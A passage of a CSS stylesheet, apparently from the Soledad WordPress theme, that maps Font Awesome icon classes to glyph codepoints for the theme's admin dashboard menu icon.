	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f0a1";
}

body.fa-bell #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f0f3";
}

body.fa-certificate
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f0a3";
}

body.fa-hand-o-right
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f0a4";
}

body.fa-hand-o-left
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f0a5";
}

body.fa-hand-o-up
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f0a6";
}

body.fa-hand-o-down
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f0a7";
}

body.fa-arrow-circle-left
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f0a8";
}

body.fa-arrow-circle-right
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f0a9";
}

body.fa-arrow-circle-up
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f0aa";
}

body.fa-arrow-circle-down
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f0ab";
}

body.fa-globe #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f0ac";
}

body.fa-wrench #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f0ad";
}

body.fa-tasks #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f0ae";
}

body.fa-filter #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f0b0";
}

body.fa-briefcase
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f0b1";
}

body.fa-arrows-alt
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f0b2";
}

body.fa-group #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before,
body.fa-users #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f0c0";
}

body.fa-chain #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before,
body.fa-link #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f0c1";
}

body.fa-cloud #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f0c2";
}

body.fa-flask #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f0c3";
}

body.fa-cut #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before,
body.fa-scissors
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f0c4";
}

body.fa-copy #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before,
body.fa-files-o #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f0c5";
}

body.fa-paperclip
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f0c6";
}

body.fa-save #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before,
body.fa-floppy-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f0c7";
}

body.fa-square #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f0c8";
}

body.fa-navicon #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before,
body.fa-reorder #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before,
body.fa-bars #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f0c9";
}

body.fa-list-ul #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f0ca";
}

body.fa-list-ol #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f0cb";
}

body.fa-strikethrough
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f0cc";
}

body.fa-underline
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f0cd";
}

body.fa-table #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f0ce";
}

body.fa-magic #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f0d0";
}

body.fa-truck #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f0d1";
}

body.fa-pinterest
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f0d2";
}

body.fa-pinterest-square
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f0d3";
}

body.fa-google-plus-square
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f0d4";
}

body.fa-google-plus
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f0d5";
}

body.fa-money #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f0d6";
}

body.fa-caret-down
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f0d7";
}

body.fa-caret-up
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f0d8";
}

body.fa-caret-left
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f0d9";
}

body.fa-caret-right
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f0da";
}

body.fa-columns #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f0db";
}

body.fa-unsorted #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before,
body.fa-sort #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f0dc";
}

body.fa-sort-down
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before,
body.fa-sort-desc
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f0dd";
}

body.fa-sort-up #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before,
body.fa-sort-asc
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f0de";
}

body.fa-envelope
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f0e0";
}

body.fa-linkedin
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f0e1";
}

body.fa-rotate-left
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before,
body.fa-undo #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f0e2";
}

body.fa-legal #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before,
body.fa-gavel #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f0e3";
}

body.fa-dashboard
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before,
body.fa-tachometer
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f0e4";
}

body.fa-comment-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f0e5";
}

body.fa-comments-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f0e6";
}

body.fa-flash #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before,
body.fa-bolt #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f0e7";
}

body.fa-sitemap #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f0e8";
}

body.fa-umbrella
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f0e9";
}

body.fa-paste #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before,
body.fa-clipboard
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f0ea";
}

body.fa-lightbulb-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f0eb";
}

body.fa-exchange
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f0ec";
}

body.fa-cloud-download
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f0ed";
}

body.fa-cloud-upload
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f0ee";
}

body.fa-user-md #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f0f0";
}

body.fa-stethoscope
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f0f1";
}

body.fa-suitcase
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f0f2";
}

body.fa-bell-o #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f0a2";
}

body.fa-coffee #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f0f4";
}

body.fa-cutlery #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f0f5";
}

body.fa-file-text-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f0f6";
}

body.fa-building-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f0f7";
}

body.fa-hospital-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f0f8";
}

body.fa-ambulance
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f0f9";
}

body.fa-medkit #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f0fa";
}

body.fa-fighter-jet
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f0fb";
}

body.fa-beer #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f0fc";
}

body.fa-h-square
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f0fd";
}

body.fa-plus-square
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f0fe";
}

body.fa-angle-double-left
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f100";
}

body.fa-angle-double-right
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f101";
}

body.fa-angle-double-up
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f102";
}

body.fa-angle-double-down
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f103";
}

body.fa-angle-left
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f104";
}

body.fa-angle-right
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f105";
}

body.fa-angle-up
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f106";
}

body.fa-angle-down
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f107";
}

body.fa-desktop #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f108";
}

body.fa-laptop #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f109";
}

body.fa-tablet #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f10a";
}

body.fa-mobile-phone
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before,
body.fa-mobile #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f10b";
}

body.fa-circle-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f10c";
}

body.fa-quote-left
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f10d";
}

body.fa-quote-right
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f10e";
}

body.fa-spinner #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f110";
}

body.fa-circle #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f111";
}

body.fa-mail-reply
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before,
body.fa-reply #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f112";
}

body.fa-github-alt
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f113";
}

body.fa-folder-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f114";
}

body.fa-folder-open-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f115";
}

body.fa-smile-o #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f118";
}

body.fa-frown-o #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f119";
}

body.fa-meh-o #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f11a";
}

body.fa-gamepad #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f11b";
}

body.fa-keyboard-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f11c";
}

body.fa-flag-o #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f11d";
}

body.fa-flag-checkered
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f11e";
}

body.fa-terminal
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f120";
}

body.fa-code #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f121";
}

body.fa-mail-reply-all
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before,
body.fa-reply-all
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f122";
}

body.fa-star-half-empty
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before,
body.fa-star-half-full
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before,
body.fa-star-half-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f123";
}

body.fa-location-arrow
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f124";
}

body.fa-crop #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f125";
}

body.fa-code-fork
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f126";
}

body.fa-unlink #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before,
body.fa-chain-broken
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f127";
}

body.fa-question
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f128";
}

body.fa-info #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f129";
}

body.fa-exclamation
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f12a";
}

body.fa-superscript
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f12b";
}

body.fa-subscript
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f12c";
}

body.fa-eraser #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f12d";
}

body.fa-puzzle-piece
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f12e";
}

body.fa-microphone
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f130";
}

body.fa-microphone-slash
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f131";
}

body.fa-shield #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f132";
}

body.fa-calendar-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f133";
}

body.fa-fire-extinguisher
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f134";
}

body.fa-rocket #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f135";
}

body.fa-maxcdn #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f136";
}

body.fa-chevron-circle-left
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f137";
}

body.fa-chevron-circle-right
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f138";
}

body.fa-chevron-circle-up
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f139";
}

body.fa-chevron-circle-down
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f13a";
}

body.fa-html5 #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f13b";
}

body.fa-css3 #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f13c";
}

body.fa-anchor #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f13d";
}

body.fa-unlock-alt
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f13e";
}

body.fa-bullseye
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f140";
}

body.fa-ellipsis-h
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f141";
}

body.fa-ellipsis-v
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f142";
}

body.fa-rss-square
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f143";
}

body.fa-play-circle
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f144";
}

body.fa-ticket #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f145";
}

body.fa-minus-square
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f146";
}

body.fa-minus-square-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f147";
}

body.fa-level-up
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f148";
}

body.fa-level-down
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f149";
}

body.fa-check-square
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f14a";
}

body.fa-pencil-square
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f14b";
}

body.fa-external-link-square
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f14c";
}

body.fa-share-square
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f14d";
}

body.fa-compass #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f14e";
}

body.fa-toggle-down
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before,
body.fa-caret-square-o-down
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f150";
}

body.fa-toggle-up
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before,
body.fa-caret-square-o-up
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f151";
}

body.fa-toggle-right
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before,
body.fa-caret-square-o-right
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f152";
}

body.fa-euro #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before,
body.fa-eur #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f153";
}

body.fa-gbp #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f154";
}

body.fa-dollar #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before,
body.fa-usd #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f155";
}

body.fa-rupee #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before,
body.fa-inr #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f156";
}

body.fa-cny #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before,
body.fa-rmb #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before,
body.fa-yen #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before,
body.fa-jpy #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f157";
}

body.fa-ruble #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before,
body.fa-rouble #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before,
body.fa-rub #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f158";
}

body.fa-won #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before,
body.fa-krw #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f159";
}

body.fa-bitcoin #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before,
body.fa-btc #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f15a";
}

body.fa-file #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f15b";
}

body.fa-file-text
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f15c";
}

body.fa-sort-alpha-asc
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f15d";
}

body.fa-sort-alpha-desc
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f15e";
}

body.fa-sort-amount-asc
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f160";
}

body.fa-sort-amount-desc
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f161";
}

body.fa-sort-numeric-asc
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f162";
}

body.fa-sort-numeric-desc
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f163";
}

body.fa-thumbs-up
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f164";
}

body.fa-thumbs-down
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f165";
}

body.fa-youtube-square
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f166";
}

body.fa-youtube #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f167";
}

body.fa-xing #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f168";
}

body.fa-xing-square
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f169";
}

body.fa-youtube-play
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f16a";
}

body.fa-dropbox #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f16b";
}

body.fa-stack-overflow
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f16c";
}

body.fa-instagram
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f16d";
}

body.fa-flickr #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f16e";
}

body.fa-adn #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f170";
}

body.fa-bitbucket
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f171";
}

body.fa-bitbucket-square
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f172";
}

body.fa-tumblr #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f173";
}

body.fa-tumblr-square
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f174";
}

body.fa-long-arrow-down
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f175";
}

body.fa-long-arrow-up
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f176";
}

body.fa-long-arrow-left
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f177";
}

body.fa-long-arrow-right
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f178";
}

body.fa-apple #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f179";
}

body.fa-windows #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f17a";
}

body.fa-android #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f17b";
}

body.fa-linux #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f17c";
}

body.fa-dribbble
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f17d";
}

body.fa-skype #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f17e";
}

body.fa-foursquare
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f180";
}

body.fa-trello #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f181";
}

body.fa-female #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f182";
}

body.fa-male #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f183";
}

body.fa-gittip #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before,
body.fa-gratipay
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f184";
}

body.fa-sun-o #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f185";
}

body.fa-moon-o #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f186";
}

body.fa-archive #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f187";
}

body.fa-bug #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f188";
}

body.fa-vk #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f189";
}

body.fa-weibo #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f18a";
}

body.fa-renren #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f18b";
}

body.fa-pagelines
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f18c";
}

body.fa-stack-exchange
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f18d";
}

body.fa-arrow-circle-o-right
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f18e";
}

body.fa-arrow-circle-o-left
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f190";
}

body.fa-toggle-left
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before,
body.fa-caret-square-o-left
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f191";
}

body.fa-dot-circle-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f192";
}

body.fa-wheelchair
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f193";
}

body.fa-vimeo-square
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f194";
}

body.fa-turkish-lira
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before,
body.fa-try #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f195";
}

body.fa-plus-square-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f196";
}

body.fa-space-shuttle
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f197";
}

body.fa-slack #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f198";
}

body.fa-envelope-square
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f199";
}

body.fa-wordpress
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f19a";
}

body.fa-openid #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f19b";
}

body.fa-institution
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before,
body.fa-bank #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before,
body.fa-university
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f19c";
}

body.fa-mortar-board
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before,
body.fa-graduation-cap
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f19d";
}

body.fa-yahoo #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f19e";
}

body.fa-google #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f1a0";
}

body.fa-reddit #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f1a1";
}

body.fa-reddit-square
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f1a2";
}

body.fa-stumbleupon-circle
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f1a3";
}

body.fa-stumbleupon
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f1a4";
}

body.fa-delicious
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f1a5";
}

body.fa-digg #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f1a6";
}

body.fa-pied-piper-pp
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f1a7";
}

body.fa-pied-piper-alt
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f1a8";
}

body.fa-drupal #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f1a9";
}

body.fa-joomla #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f1aa";
}

body.fa-language
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f1ab";
}

body.fa-fax #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f1ac";
}

body.fa-building
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f1ad";
}

body.fa-child #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f1ae";
}

